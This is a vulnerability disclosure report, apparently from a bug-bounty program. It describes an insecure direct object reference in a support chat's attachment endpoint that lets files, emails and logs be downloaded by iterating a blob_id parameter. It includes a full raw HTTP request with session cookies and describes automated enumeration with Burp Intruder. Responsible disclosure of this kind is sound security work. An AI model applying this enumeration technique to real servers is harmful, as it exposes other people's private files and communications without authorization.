Local File Download

How it was found

Summary: This bug affects suuport.ratelimited.me and can be used by attackers to download local file from your servers including your emails, and files uploaded by your admins and other users.

Description: While starting a conversation with your support agent, I noticed an option to upload a file. And after it was being uploaded it was included with a "blob_id" parameter. it is vulnerable and is leading to download of all the files on your support server.

Steps To Reproduce:

• Follow the above steps as mentioned in description to get to the request mentioned below.]

GET /chat/send-attach/583-5PH467W8RA2NCWJ?__sid=583-5PH467W8RA2NCWJ&send_blob_id=485&_=1525115609706 HTTP/1.1
Host: support.ratelimited.me
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://support.ratelimited.me/widget/chat.html?dpsid=583-5PH467W8RA2NCWJ&parent_url=https%3A%2F%2Fsupport.ratelimited.me%2Fprofile
X-Requested-With: XMLHttpRequest
Cookie: __cfduid=debed713d869308c24159d6b0ce4df2481525076018; dpsid=583-5PH467W8RA2NCWJ; dpvc=11941-DH6W43CBT3WHJQN; __unam=c0d18f2-16315a5f2ac-ba1665a-242; __utma=138098738.1674211735.1525076589.1525107067.1525114365.3; __utmc=138098738; __utmz=138098738.1525076589.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); dpvut=X635APM2; dpchat_sid=583-5PH467W8RA2NCWJ; __utmb=138098738.29.10.1525114365; __utmt=1; dpchatid=51
Connection: close

• After this I used a simple Intruder in the Burp suite to automate my requests to find out which blob_id numbers are giving a 200 Response. Attached a screenshot of the same.

• I was able to read your personal emails and all the server logs, also all the files uploaded by others and admins. I was also able to join a ticket due to an email which leaked the joining link. The irony is I was also able to read the email sent by Hackerone support to start this program :D

No harm has been done, you can remove the screenshots from here after you fix this bug.

Supporting Material/References:

• Have attached all the screenshots below which shows how harmful this could have been.

Impact

All the files on the server are being leaked incuding personal emails and logs.